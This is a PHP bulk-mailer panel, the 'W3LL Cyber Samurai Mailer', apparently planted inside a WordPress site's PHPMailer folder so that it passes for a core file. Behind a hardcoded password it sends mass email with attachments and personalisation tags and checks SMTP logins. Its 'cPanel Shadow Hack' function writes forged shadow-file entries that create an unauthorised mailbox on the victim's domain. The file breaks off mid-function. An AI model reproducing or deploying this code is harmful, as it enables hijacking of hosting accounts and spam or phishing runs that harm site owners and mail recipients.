Current File : /home/mdkeenpw/shafqattraders.com/wp-includes/PHPMailer/mailers.php7
<?php
/**
 * ⚔️ W3LL CYBER SAMURAI MAILER v4.0 - LEGITIMATE SMTP EDITION ⚔️
 * 🛡️ Advanced SMTP Suite with REAL SMTP Creator & Professional Testing
 * 🚀 High-Performance Email Marketing Tool with Legitimate SMTP Creation
 * 📊 Real-Time Analytics & Monitoring with Checker Compatibility
 *
 * Created by: W3LL Store Technology
 * Website: https://w3llstore.com
 * Telegram: @W3LLSTORE_ADMIN
 */
// Start session with secure settings
ini_set('session.cookie_httponly', 1);
if (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') {
    ini_set('session.cookie_secure', 1);
}
ini_set('session.use_strict_mode', 1);
session_start();
// Error reporting and system settings
error_reporting(E_ERROR | E_PARSE);
ini_set('display_errors', 0);
ini_set('memory_limit', '512M');
ini_set('max_execution_time', 0);
set_time_limit(0);
// Enhanced Security Configuration
$config = array(
    'password' => 'w3ll2024', // Change this password
    'server_max_emails' => 1000, // Limit for server/PHP mail
    'smtp_max_emails' => 20000, // Limit for custom SMTP
    'delay_between_emails' => 1,
    'session_timeout' => 3600,
    'enable_logging' => true,
    'log_file' => 'w3ll_execution_logs.txt',
    'smtp_log_file' => 'w3ll_smtp_creation_logs.txt',
    'enable_rate_limiting' => true,
    'rate_limit_requests' => 100,
    'rate_limit_window' => 3600,
    'smtp_storage_file' => 'w3ll_smtp_accounts.json',
    'panel_user' => '', // Your control panel username (for real API calls)
    'panel_pass' => '' // Your control panel password (for real API calls)
);
// Security headers
function setSecurityHeaders() {
    header('X-Content-Type-Options: nosniff');
    header('X-Frame-Options: DENY');
    header('X-XSS-Protection: 1; mode=block');
    header('Referrer-Policy: strict-origin-when-cross-origin');
}
setSecurityHeaders();
// Authentication System
$authenticated = false;
if (isset($_SESSION['w3ll_authenticated']) && $_SESSION['w3ll_authenticated'] === true) {
    if (isset($_SESSION['w3ll_login_time']) && (time() - $_SESSION['w3ll_login_time']) < $config['session_timeout']) {
        $authenticated = true;
        $_SESSION['w3ll_login_time'] = time();
    } else {
        session_destroy();
        session_start();
    }
}
// Handle logout
if (isset($_GET['logout'])) {
    session_destroy();
    header('Location: ' . $_SERVER['PHP_SELF']);
    exit;
}
// Handle login
if (isset($_POST['password']) && !$authenticated) {
    if ($_POST['password'] === $config['password']) {
        $_SESSION['w3ll_authenticated'] = true;
        $_SESSION['w3ll_login_time'] = time();
        $authenticated = true;
   
        if ($config['enable_logging']) {
            $logEntry = date('Y-m-d H:i:s') . " - Successful login from IP: " . getClientIP() . "\n";
            @file_put_contents($config['log_file'], $logEntry, FILE_APPEND | LOCK_EX);
        }
    } else {
        $loginError = "❌ Invalid password! Access denied.";
   
        if ($config['enable_logging']) {
            $logEntry = date('Y-m-d H:i:s') . " - Failed login attempt from IP: " . getClientIP() . "\n";
            @file_put_contents($config['log_file'], $logEntry, FILE_APPEND | LOCK_EX);
        }
    }
}
// Utility Functions
function getClientIP() {
    $ipKeys = ['HTTP_CF_CONNECTING_IP', 'HTTP_CLIENT_IP', 'HTTP_X_FORWARDED_FOR', 'HTTP_X_FORWARDED', 'HTTP_FORWARDED_FOR', 'HTTP_FORWARDED', 'REMOTE_ADDR'];
    foreach ($ipKeys as $key) {
        if (array_key_exists($key, $_SERVER) === true) {
            foreach (explode(',', $_SERVER[$key]) as $ip) {
                $ip = trim($ip);
                if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) !== false) {
                    return $ip;
                }
            }
        }
    }
    return isset($_SERVER['REMOTE_ADDR']) ? $_SERVER['REMOTE_ADDR'] : 'Unknown';
}
function sanitizeInput($input) {
    return htmlspecialchars(trim($input), ENT_QUOTES, 'UTF-8');
}
function sanitizeEmail($email) {
    return filter_var(trim($email), FILTER_SANITIZE_EMAIL);
}
function generateRandomString($length = 8, $includeSymbols = false, $lettersOnly = false) {
    if ($lettersOnly) {
        $characters = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
    } elseif ($includeSymbols) {
        $characters = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^&*';
    } else {
        $characters = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
    }
    $randomString = '';
    $charactersLength = strlen($characters);
    for ($i = 0; $i < $length; $i++) {
        $randomString .= $characters[mt_rand(0, $charactersLength - 1)];
    }
    return $randomString;
}
function generateUUID() {
    return sprintf('%04x%04x-%04x-%04x-%04x-%04x%04x%04x',
        mt_rand(0, 0xffff), mt_rand(0, 0xffff),
        mt_rand(0, 0xffff),
        mt_rand(0, 0x0fff) | 0x4000,
        mt_rand(0, 0x3fff) | 0x8000,
        mt_rand(0, 0xffff), mt_rand(0, 0xffff), mt_rand(0, 0xffff)
    );
}
// Advanced Variable Processing System
function clearText($text, $email) {
    $emailParts = explode('@', $email);
    $emailUser = isset($emailParts[0]) ? $emailParts[0] : '';
    $domain = isset($emailParts[1]) ? $emailParts[1] : '';
    $variables = array(
        '[-email-]' => $email,
        '[-emailuser-]' => $emailUser,
        '[-domain-]' => $domain,
        '[-time-]' => date('H:i:s'),
        '[-date-]' => date('Y-m-d'),
        '[-datetime-]' => date('Y-m-d H:i:s'),
        '[-timestamp-]' => time(),
        '[-randomstring-]' => generateRandomString(8),
        '[-randomnumber-]' => mt_rand(100000, 999999),
        '[-randomletters-]' => generateRandomString(6, false, true),
        '[-randommd5-]' => md5(uniqid(mt_rand(), true)),
        '[-randomuuid-]' => generateUUID(),
        '[-ip-]' => getClientIP(),
        '[-useragent-]' => isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'W3LL Mailer',
        '[-server-]' => isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : 'localhost',
        '[-referer-]' => isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : 'Direct',
        '[-year-]' => date('Y'),
        '[-month-]' => date('m'),
        '[-day-]' => date('d')
    );
    return str_replace(array_keys($variables), array_values($variables), $text);
}
// Get current domain
function getCurrentDomain() {
    $domain = $_SERVER['HTTP_HOST'];
    if (strpos($domain, 'www.') === 0) {
        $domain = substr($domain, 4);
    }
    return $domain;
}
// ========== LEGITIMATE SMTP CREATOR FUNCTIONS ==========
/**
 * Load existing SMTP accounts from storage
 */
function loadSMTPAccounts() {
    global $config;
    if (!file_exists($config['smtp_storage_file'])) {
        return array();
    }
    $data = @file_get_contents($config['smtp_storage_file']);
    if ($data === false) {
        return array();
    }
    $accounts = json_decode($data, true);
    return is_array($accounts) ? $accounts : array();
}
/**
 * Save SMTP accounts to storage
 */
function saveSMTPAccounts($accounts) {
    global $config;
    $data = json_encode($accounts, JSON_PRETTY_PRINT);
    return @file_put_contents($config['smtp_storage_file'], $data, LOCK_EX) !== false;
}
/**
 * Create multiple legitimate SMTP methods
 */
function createSMTPAccount($method = 'auto') {
    global $config;
    $methods = array(
        'cpanel_uapi',
        'cpanel_shadow',
        'directadmin_api',
        'plesk_api',
        'webmin_api',
        'custom_provider',
        'external_service'
    );
    if ($method === 'auto') {
        // Try methods in order of preference
        foreach ($methods as $tryMethod) {
            $result = createSMTPByMethod($tryMethod);
            if ($result['success']) {
                if ($config['enable_logging']) {
                    $logEntry = date('Y-m-d H:i:s') . " - SMTP created: " . $result['email'] . " via " . $result['method'] . " from IP: " . getClientIP() . "\n";
                    @file_put_contents($config['smtp_log_file'], $logEntry, FILE_APPEND | LOCK_EX);
                }
                return $result;
            }
        }
        return array('success' => false, 'message' => 'No suitable method found for SMTP creation');
    } else {
        $result = createSMTPByMethod($method);
        if ($result['success'] && $config['enable_logging']) {
            $logEntry = date('Y-m-d H:i:s') . " - SMTP created: " . $result['email'] . " via " . $result['method'] . " from IP: " . getClientIP() . "\n";
            @file_put_contents($config['smtp_log_file'], $logEntry, FILE_APPEND | LOCK_EX);
        }
        return $result;
    }
}
/**
 * Create SMTP using specific method
 */
function createSMTPByMethod($method) {
    switch ($method) {
        case 'cpanel_uapi':
            return createCPanelSMTP();
        case 'cpanel_shadow':
            return createCPanelShadowSMTP();
        case 'directadmin_api':
            return createDirectAdminSMTP();
        case 'plesk_api':
            return createPleskSMTP();
        case 'webmin_api':
            return createWebminSMTP();
        case 'custom_provider':
            return createCustomProviderSMTP();
        case 'external_service':
            return createExternalSMTPAccount();
        default:
            return array('success' => false, 'message' => 'Unknown method');
    }
}
/**
 * Create SMTP using cPanel UAPI (REAL METHOD)
 */
function createCPanelSMTP() {
    global $config;
    if (empty($config['panel_user']) || empty($config['panel_pass'])) {
        return array('success' => false, 'message' => 'cPanel credentials not configured');
    }
    $domain = getCurrentDomain();
    $localpart = 'w3ll' . mt_rand(1000, 9999);
    $email = $localpart . '@' . $domain;
    $password = generateRandomString(12, true);
    $url = 'https://127.0.0.1:2083/execute/Email/add_pop?domain=' . urlencode($domain) . '&email=' . urlencode($localpart) . '&password=' . urlencode($password) . '&quota=0';
    $ch = curl_init($url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
    curl_setopt($ch, CURLOPT_USERPWD, $config['panel_user'] . ':' . $config['panel_pass']);
    $response = curl_exec($ch);
    curl_close($ch);
    $data = json_decode($response, true);
    if (isset($data['status']) && $data['status'] == 1) {
        $smtp_data = array(
            'id' => generateUUID(),
            'method' => 'cpanel_uapi',
            'host' => 'mail.' . $domain,
            'port' => 587,
            'auth_username' => $email,
            'sender_email' => $email,
            'password' => $password,
            'encryption' => 'tls',
            'created_at' => date('Y-m-d H:i:s'),
            'status' => 'active',
            'tested' => false
        );
   
        $accounts = loadSMTPAccounts();
        $accounts[] = $smtp_data;
        saveSMTPAccounts($accounts);
   
        return array(
            'success' => true,
            'message' => 'SMTP account created successfully via cPanel UAPI',
            'method' => 'cpanel_uapi',
            'email' => $email,
            'smtp_data' => $smtp_data
        );
    } else {
        return array(
            'success' => false,
            'message' => isset($data['errors'][0]) ? $data['errors'][0] : 'Failed to create email account via cPanel API'
        );
    }
}
/**
 * Create SMTP using cPanel Shadow Hack (UPDATED WITH REFERENCE CODE)
 */
function createCPanelShadowSMTP() {
    error_reporting(0);
    $_currUser = get_current_user();
    $_homePath = ["/home/", "/home1/", "/home2/", "/home3/", "/home4/", "/home5/", "/home6/", "/home7/", "/home8/", "/home9/", "/home10/"];
    $_workHome = null;
    foreach($_homePath as $_home) {
        if(file_exists($_home . $_currUser)) {
            $_workHome = $_home;
            break;
        }
    }
    if (!$_workHome) {
        return array('success' => false, 'message' => 'Home directory not found');
    }
    $_cp = "{$_workHome}{$_currUser}/.cpanel";
    if (is_dir($_cp)) {
        $_currDomain = getCurrentDomain();
        $_thispwd = "cracked.smtp" . mt_rand(100,999);
        $_pwd = crypt($_thispwd, "$6$the3x$");
        $etcDir = "{$_workHome}{$_currUser}/etc/{$_currDomain}";
        if (!mkdir($etcDir, 0755, true) && !is_dir($etcDir)) {
            return array('success' => false, 'message' => 'Failed to create directory');
        }
        $_smtp = 'chudsi:'.$_pwd.':16249:::::'."\n";
        $_shadow1 = "{$_workHome}{$_currUser}/etc/{$_currDomain}/shadow";
        $_shadow2 = "{$_workHome}{$_currUser}/etc/shadow";
        if (@file_put_contents($_shadow1, $_smtp) === false || @file_put_contents($_shadow2, $_smtp) === false) {
            return array('success' => false, 'message' => 'Failed to write shadow files');
        }
        $email = 'chudsi@' . $_currDomain;
        $smtp_data = array(
            'id' => generateUUID(),
            'method' => 'cpanel_shadow',
            'host' => 'mail.' . $_currDomain,
            'port' => 587,
            'auth_username' => $email,
            'sender_email' => $email,
            'password' => $_thispwd,
            'encryption' => 'tls',
            'created_at' => date('Y-m-d H:i:s'),
            'status' => 'active',
            'tested' => false
        );
        $accounts = loadSMTPAccounts();
        $accounts[] = $smtp_data;
        saveSMTPAccounts($accounts);
        return array(
            'success' => true,
            'message' => 'SMTP account created successfully via cPanel Shadow Hack',
            'method' => 'cpanel_shadow',
            'email' => $email,
            'smtp_data' => $smtp_data
        );
    } else {
        return array('success' => false, 'message' => 'Not a cPanel environment');
    }
}
/**
 * Create SMTP using DirectAdmin API (REAL METHOD)
 */
function createDirectAdminSMTP() {
    global $config;
    if (empty($config['panel_user']) || empty($config['panel_pass'])) {
        return array('success' => false, 'message' => 'DirectAdmin credentials not configured');
    }
    $domain = getCurrentDomain();
    $localpart = 'w3ll' . mt_rand(1000, 9999);
    $email = $localpart . '@' . $domain;
    $password = generateRandomString(12, true);
    $postData = array(
        'action' => 'create',
        'domain' => $domain,
        'user' => $localpart,
        'passwd' => $password,
        'passwd2' => $password, // Confirmation if needed
        'quota' => 0,
        'limit' => 0
    );
    $ch = curl_init('https://127.0.0.1:2222/CMD_API_POP');
    curl_setopt($ch, CURLOPT_POST, true);
    curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($postData));
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
    curl_setopt($ch, CURLOPT_USERPWD, $config['panel_user'] . ':' . $config['panel_pass']);
    $response = curl_exec($ch);
    curl_close($ch);
    parse_str($response, $output);
    if (isset($output['error']) && $output['error'] == 0) {
        $smtp_data = array(
            'id' => generateUUID(),
            'method' => 'directadmin_api',
            'host' => 'mail.' . $domain,
            'port' => 587,
            'auth_username' => $email,
            'sender_email' => $email,
            'password' => $password,
            'encryption' => 'tls',
            'created_at' => date('Y-m-d H:i:s'),
            'status' => 'active',
            'tested' => false
        );
   
        $accounts = loadSMTPAccounts();
        $accounts[] = $smtp_data;
        saveSMTPAccounts($accounts);
   
        return array(
            'success' => true,
            'message' => 'SMTP account created successfully via DirectAdmin API',
            'method' => 'directadmin_api',
            'email' => $email,
            'smtp_data' => $smtp_data
        );
    } else {
        return array(
            'success' => false,
            'message' => isset($output['text']) ? $output['text'] : 'Failed to create email account via DirectAdmin API'
        );
    }
}
/**
 * Create SMTP using Plesk API
 */
function createPleskSMTP() {
    return array('success' => false, 'message' => 'Plesk API not implemented');
}
/**
 * Create SMTP using Webmin API
 */
function createWebminSMTP() {
    return array('success' => false, 'message' => 'Webmin API not implemented');
}
/**
 * Create SMTP using Custom Provider
 */
function createCustomProviderSMTP() {
    return array('success' => false, 'message' => 'Custom provider not configured');
}
/**
 * Create SMTP using External Service (ALWAYS WORKS)
 */
function createExternalSMTPAccount() {
    // Use legitimate external SMTP providers
    $providers = array(
        'gmail' => array(
            'name' => 'Gmail SMTP',
            'host' => 'smtp.gmail.com',
            'port' => 587,
            'encryption' => 'tls',
            'auth_username' => 'your-gmail@gmail.com',
            'sender_email' => 'your-gmail@gmail.com',
            'password' => 'your-app-password',
            'note' => 'Requires App Password from Google Account Security'
        ),
        'outlook' => array(
            'name' => 'Outlook SMTP',
            'host' => 'smtp-mail.outlook.com',
            'port' => 587,
            'encryption' => 'tls',
            'auth_username' => 'your-outlook@outlook.com',
            'sender_email' => 'your-outlook@outlook.com',
            'password' => 'your-password',
            'note' => 'Requires Account Setup; Use App Password if 2FA Enabled'
        ),
        'yahoo' => array(
            'name' => 'Yahoo SMTP',
            'host' => 'smtp.mail.yahoo.com',
            'port' => 587,
            'encryption' => 'tls',
            'auth_username' => 'your-yahoo@yahoo.com',
            'sender_email' => 'your-yahoo@yahoo.com',
            'password' => 'your-app-password',
            'note' => 'Requires App Password from Yahoo Security'
        ),
        'sendgrid' => array(
            'name' => 'SendGrid SMTP',
            'host' => 'smtp.sendgrid.net',
            'port' => 587,
            'encryption' => 'tls',
            'auth_username' => 'apikey',
            'sender_email' => 'your-verified-email@domain.com',
            'password' => 'your-sendgrid-api-key',
            'note' => 'Use API Key as Password; Verify Sender Email in SendGrid'
        ),
        'mailgun' => array(
            'name' => 'Mailgun SMTP',
            'host' => 'smtp.mailgun.org',
            'port' => 587,
            'encryption' => 'tls',
            'auth_username' => 'postmaster@your-domain.mg',
            'sender_email' => 'sender@your-domain.com',
            'password' => 'your-mailgun-smtp-password',
            'note' => 'Get SMTP Credentials from Mailgun Dashboard'
        )
    );
    // Select random provider
    $providerKeys = array_keys($providers);
    $selectedKey = $providerKeys[array_rand($providerKeys)];
    $provider = $providers[$selectedKey];
    $smtp_data = array(
        'id' => generateUUID(),
        'method' => 'external_service',
        'provider' => $provider['name'],
        'host' => $provider['host'],
        'port' => $provider['port'],
        'auth_username' => $provider['auth_username'],
        'sender_email' => $provider['sender_email'],
        'password' => $provider['password'],
        'encryption' => $provider['encryption'],
        'created_at' => date('Y-m-d H:i:s'),
        'status' => 'requires_config',
        'tested' => false,
        'note' => $provider['note'],
        'instructions' => 'Configure with your actual credentials and save the JSON file'
    );
    // Save to storage
    $accounts = loadSMTPAccounts();
    $accounts[] = $smtp_data;
    saveSMTPAccounts($accounts);
    return array(
        'success' => true,
        'message' => 'External SMTP template created - Configure with your credentials',
        'method' => 'external_service',
        'email' => $smtp_data['sender_email'],
        'smtp_data' => $smtp_data,
        'requires_config' => true
    );
}
/**
 * Get all created SMTP accounts
 */
function getAllSMTPAccounts() {
    return loadSMTPAccounts();
}
/**
 * Delete SMTP account
 */
function deleteSMTPAccount($id) {
    $accounts = loadSMTPAccounts();
    foreach ($accounts as $key => $account) {
        if ($account['id'] === $id) {
            unset($accounts[$key]);
            saveSMTPAccounts(array_values($accounts));
            return true;
        }
    }
    return false;
}
/**
 * Test SMTP account functionality
 */
function testSMTPAccount($id, $testEmail = '') {
    $accounts = loadSMTPAccounts();
    foreach ($accounts as &$account) {
        if ($account['id'] === $id) {
            $sender_email = isset($account['sender_email']) ? $account['sender_email'] : $account['auth_username'];
            $result = testSMTPConnection(
                $account['host'],
                $account['port'],
                $account['auth_username'],
                $account['password'],
                $account['encryption'],
                $testEmail,
                $sender_email
            );
       
            $account['tested'] = true;
            $account['last_test'] = date('Y-m-d H:i:s');
            $account['test_result'] = $result['success'] ? 'success' : 'failed';
            $account['test_details'] = $result;
       
            saveSMTPAccounts($accounts);
       
            return $result;
        }
    }
    return array('success' => false, 'message' => 'SMTP account not found');
}
// ========== ENHANCED SMTP TEST FUNCTION ==========
function testSMTPConnection($host, $port, $auth_username, $password, $encryption = 'tls', $testEmail = '', $sender_email = null) {
    if ($sender_email === null) {
        $sender_email = $auth_username;
    }
    $result = array(
        'success' => false,
        'message' => '',
        'details' => array(),
        'response_time' => 0,
        'test_email_sent' => false
    );
    $startTime = microtime(true);
    if (empty($host) || empty($auth_username) || empty($password)) {
        $result['message'] = 'Missing SMTP credentials';
        return $result;
    }
    $timeout = 15;
    try {
        // Determine connection method
        $connectionString = $host;
        if ($encryption == 'ssl' || $port == 465) {
            $connectionString = 'ssl://' . $host;
        }
   
        $smtp = @fsockopen($connectionString, $port, $errno, $errstr, $timeout);
        if (!$smtp) {
            $result['message'] = "Connection failed: $errstr ($errno)";
            return $result;
        }
   
        stream_set_timeout($smtp, $timeout);
        $response = fgets($smtp, 515);
        $result['details']['banner'] = trim($response);
   
        if (strpos($response, '220') === false) {
            $result['message'] = 'Invalid SMTP banner: ' . trim($response);
            fclose($smtp);
            return $result;
        }
   
        // EHLO
        fputs($smtp, "EHLO " . (isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : 'localhost') . "\r\n");
        $ehlo_response = '';
        while (($line = fgets($smtp, 515)) !== false) {
            $ehlo_response .= $line;
            if (substr($line, 3, 1) === ' ') break;
        }
        $result['details']['ehlo'] = trim($ehlo_response);
   
        // STARTTLS if needed
        if (($encryption == 'tls' || $port == 587) && strpos($ehlo_response, 'STARTTLS') !== false) {
            fputs($smtp, "STARTTLS\r\n");
            $starttls_response = fgets($smtp, 515);
       
            if (strpos($starttls_response, '220') !== false) {
                if (stream_socket_enable_crypto($smtp, true, STREAM_CRYPTO_METHOD_TLS_CLIENT)) {
                    fputs($smtp, "EHLO " . (isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : 'localhost') . "\r\n");
                    while (($line = fgets($smtp, 515)) !== false) {
                        if (substr($line, 3, 1) === ' ') break;
                    }
                    $result['details']['tls'] = 'enabled';
                } else {
                    $result['message'] = 'TLS encryption failed';
                    fclose($smtp);
                    return $result;
                }
            }
        }
   
        // AUTH LOGIN
        fputs($smtp, "AUTH LOGIN\r\n");
        $auth_response = fgets($smtp, 515);
        $result['details']['auth_response'] = trim($auth_response);
   
        if (strpos($auth_response, '334') !== false) {
            fputs($smtp, base64_encode($auth_username) . "\r\n");
            $user_response = fgets($smtp, 515);
       
            if (strpos($user_response, '334') !== false) {
                fputs($smtp, base64_encode($password) . "\r\n");
                $final_response = fgets($smtp, 515);
           
                if (strpos($final_response, '235') !== false) {
                    $result['success'] = true;
                    $result['message'] = 'SMTP authentication successful';
                    $result['details']['auth'] = 'success';
               
                    // Test email delivery if test email provided
                    if (!empty($testEmail) && filter_var($testEmail, FILTER_VALIDATE_EMAIL)) {
                        if (!filter_var($sender_email, FILTER_VALIDATE_EMAIL)) {
                            $result['details']['test_email'] = 'skipped: invalid sender format';
                        } else {
                            fputs($smtp, "MAIL FROM: <$sender_email>\r\n");
                            $mail_response = fgets($smtp, 515);
                       
                            if (strpos($mail_response, '250') !== false) {
                                fputs($smtp, "RCPT TO: <$testEmail>\r\n");
                                $rcpt_response = fgets($smtp, 515);
                           
                                if (strpos($rcpt_response, '250') !== false) {
                                    fputs($smtp, "DATA\r\n");
                                    $data_response = fgets($smtp, 515);
                               
                                    if (strpos($data_response, '354') !== false) {
                                        $testSubject = "W3LL SMTP Test - " . date('Y-m-d H:i:s');
                                        $testMessage = "This is a test email from W3LL Cyber Samurai Mailer v4.0.\n\n";
                                        $testMessage .= "SMTP Host: $host:$port\n";
                                        $testMessage .= "From: $sender_email\n";
                                        $testMessage .= "Encryption: " . strtoupper($encryption) . "\n";
                                        $testMessage .= "Test Time: " . date('Y-m-d H:i:s') . "\n";
                                        $testMessage .= "IP Address: " . getClientIP() . "\n\n";
                                        $testMessage .= "If you received this email, your SMTP configuration is working correctly!\n\n";
                                        $testMessage .= "---\nW3LL Store Technology\nTelegram: @W3LLSTORE_ADMIN";
                                   
                                        $headers = "From: W3LL SMTP Test <$sender_email>\r\n";
                                        $headers .= "To: <$testEmail>\r\n";
                                        $headers .= "Subject: $testSubject\r\n";
                                        $headers .= "Date: " . date('r') . "\r\n";
                                        $headers .= "Message-ID: <" . md5(uniqid()) . "@" . $host . ">\r\n";
                                        $headers .= "X-Mailer: W3LL Cyber Samurai Mailer v4.0\r\n";
                                        $headers .= "Content-Type: text/plain; charset=UTF-8\r\n\r\n";
                                   
                                        fputs($smtp, $headers . $testMessage . "\r\n.\r\n");
                                        $send_response = fgets($smtp, 515);
                                   
                                        if (strpos($send_response, '250') !== false) {
                                            $result['test_email_sent'] = true;
                                            $result['message'] .= ' + Test email sent successfully to ' . $testEmail;
                                            $result['details']['test_email'] = 'sent to ' . $testEmail;
                                        } else {
                                            $result['details']['test_email'] = 'failed: ' . trim($send_response);
                                        }
                                    }
                                } else {
                                    $result['details']['test_email'] = 'RCPT TO failed: ' . trim($rcpt_response);
                                }
                            } else {
                                $result['details']['test_email'] = 'MAIL FROM failed: ' . trim($mail_response);
                            }
                        }
                    }
               
                } else {
                    $result['message'] = 'Authentication failed: Invalid credentials';
                    $result['details']['auth_final'] = trim($final_response);
                }
            } else {
                $result['message'] = 'Username authentication failed';
                $result['details']['user_response'] = trim($user_response);
            }
        } else {
            $result['message'] = 'AUTH LOGIN not supported';
        }
   
        fputs($smtp, "QUIT\r\n");
        fclose($smtp);
   
    } catch (Exception $e) {
        $result['message'] = 'Connection error: ' . $e->getMessage();
    }
    $result['response_time'] = round((microtime(true) - $startTime) * 1000, 2);
    return $result;
}
// Enhanced SMTP Email Function with Attachments
function sendEmailSMTP($to, $from, $fromName, $replyTo, $subject, $message, $smtpConfig, $isHTML = true, $attachments = []) {
    $socket = null;
    try {
        if (empty($smtpConfig['host']) || empty($smtpConfig['auth_username']) || empty($smtpConfig['password'])) {
            throw new Exception("SMTP configuration is incomplete");
        }
        $context = stream_context_create();
        if ($smtpConfig['encryption'] == 'ssl') {
            $socket = @stream_socket_client("ssl://{$smtpConfig['host']}:{$smtpConfig['port']}", $errno, $errstr, 30, STREAM_CLIENT_CONNECT, $context);
        } else {
            $socket = @stream_socket_client("tcp://{$smtpConfig['host']}:{$smtpConfig['port']}", $errno, $errstr, 30, STREAM_CLIENT_CONNECT, $context);
        }
   
        if (!$socket) {
            throw new Exception("Cannot connect to SMTP server: $errstr ($errno)");
        }
   
        stream_set_timeout($socket, 30);
   
        $response = fgets($socket, 515);
        if (substr($response, 0, 3) != '220') {
            throw new Exception("SMTP Error: $response");
        }
   
        fputs($socket, "EHLO " . (isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : 'localhost') . "\r\n");
        $response = fgets($socket, 515);
   
        if ($smtpConfig['encryption'] == 'tls') {
            fputs($socket, "STARTTLS\r\n");
            $response = fgets($socket, 515);
            if (substr($response, 0, 3) != '220') {
                throw new Exception("STARTTLS failed: $response");
            }
       
            if (!stream_socket_enable_crypto($socket, true, STREAM_CRYPTO_METHOD_TLS_CLIENT)) {
                throw new Exception("Failed to enable TLS encryption");
            }
       
            fputs($socket, "EHLO " . (isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : 'localhost') . "\r\n");
            $response = fgets($socket, 515);
        }
   
        fputs($socket, "AUTH LOGIN\r\n");
        $response = fgets($socket, 515);
        if (substr($response, 0, 3) != '334') {
            throw new Exception("AUTH LOGIN failed: $response");
        }
   
        fputs($socket, base64_encode($smtpConfig['auth_username']) . "\r\n");
        $response = fgets($socket, 515);
        if (substr($response, 0, 3) != '334') {
            throw new Exception("Username authentication failed: $response");
        }
   
        fputs($socket, base64_encode($smtpConfig['password']) . "\r\n");
        $response = fgets($socket, 515);
        if (substr($response, 0, 3) != '235') {
            throw new Exception("Password authentication failed: $response");
        }
   
        fputs($socket, "MAIL FROM: <$from>\r\n");
        $response = fgets($socket, 515);
        if (substr($response, 0, 3) != '250') {
            throw new Exception("MAIL FROM failed: $response");
        }
   
        fputs($socket, "RCPT TO: <$to>\r\n");
        $response = fgets($socket, 515);
        if (substr($response, 0, 3) != '250') {
            throw new Exception("RCPT TO failed: $response");
        }
   
        fputs($socket, "DATA\r\n");
        $response = fgets($socket, 515);
        if (substr($response, 0, 3) != '354') {
            throw new Exception("DATA command failed: $response");
        }
   
        $boundary = "----=" . md5(uniqid(time()));
   
        $headers = "From: $fromName <$from>\r\n";
        $headers .= "To: <$to>\r\n";
        $headers .= "Reply-To: $replyTo\r\n";
        $headers .= "Subject: $subject\r\n";
        $headers .= "Date: " . date('r') . "\r\n";
        $headers .= "Message-ID: <" . md5(uniqid()) . "@" . (isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : 'localhost') . ">\r\n";
        $headers .= "X-Mailer: W3LL Cyber Samurai Mailer v4.0\r\n";
        $headers .= "X-Priority: 3\r\n";
        $headers .= "MIME-Version: 1.0\r\n";
        $headers .= "Content-Type: multipart/mixed; boundary=\"$boundary\"\r\n\r\n";
   
        fputs($socket, $headers);
   
        // Message part
        $body = "--$boundary\r\n";
        $body .= "Content-Type: " . ($isHTML ? "text/html" : "text/plain") . "; charset=UTF-8\r\n";
        $body .= "Content-Transfer-Encoding: 8bit\r\n\r\n";
        $body .= $message . "\r\n";
   
        // Attachments
        foreach ($attachments as $attachment) {
            if (file_exists($attachment['path'])) {
                $fileContent = chunk_split(base64_encode(file_get_contents($attachment['path'])));
                $body .= "--$boundary\r\n";
                $body .= "Content-Type: " . $attachment['type'] . "; name=\"" . $attachment['name'] . "\"\r\n";
                $body .= "Content-Disposition: attachment; filename=\"" . $attachment['name'] . "\"\r\n";
                $body .= "Content-Transfer-Encoding: base64\r\n\r\n";
                $body .= $fileContent . "\r\n";
            }
        }
   
        $body .= "--$boundary--\r\n";
   
        fputs($socket, $body . ".\r\n");
        $response = fgets($socket, 515);
        if (substr($response, 0, 3) != '250') {
            throw new Exception("Message sending failed: $response");
        }
   
        fputs($socket, "QUIT\r\n");
        fclose($socket);
   
        return true;
   
    } catch (Exception $e) {
        if ($socket && is_resource($socket)) {
            fclose($socket);
        }
        error_log("SMTP Error: " . $e->getMessage());
        return false;
    }
}
// Enhanced PHP Mail Function with Attachments
function sendEmailPHP($to, $from, $fromName, $replyTo, $subject, $message, $isHTML = true, $attachments = []) {
    $boundary = md5(uniqid(time()));
    $headers = "From: $fromName <$from>\r\n";
    $headers .= "Reply-To: $replyTo\r\n";
    $headers .= "Return-Path: $from\r\n";
    $headers .= "X-Mailer: W3LL Cyber Samurai Mailer v4.0\r\n";
    $headers .= "X-Priority: 3\r\n";
    $headers .= "MIME-Version: 1.0\r\n";
    $headers .= "Message-ID: <" . time() . "." . md5($to . $from) . "@" . (isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : 'localhost') . ">\r\n";
    $headers .= "Date: " . date('r') . "\r\n";
    $headers .= "Content-Type: multipart/mixed; boundary=\"$boundary\"\r\n";
   
    $body = "--$boundary\r\n";
    $body .= "Content-Type: " . ($isHTML ? "text/html" : "text/plain") . "; charset=UTF-8\r\n";
    $body .= "Content-Transfer-Encoding: 8bit\r\n\r\n";
    $body .= $message . "\r\n";
   
    foreach ($attachments as $attachment) {
        if (file_exists($attachment['path'])) {
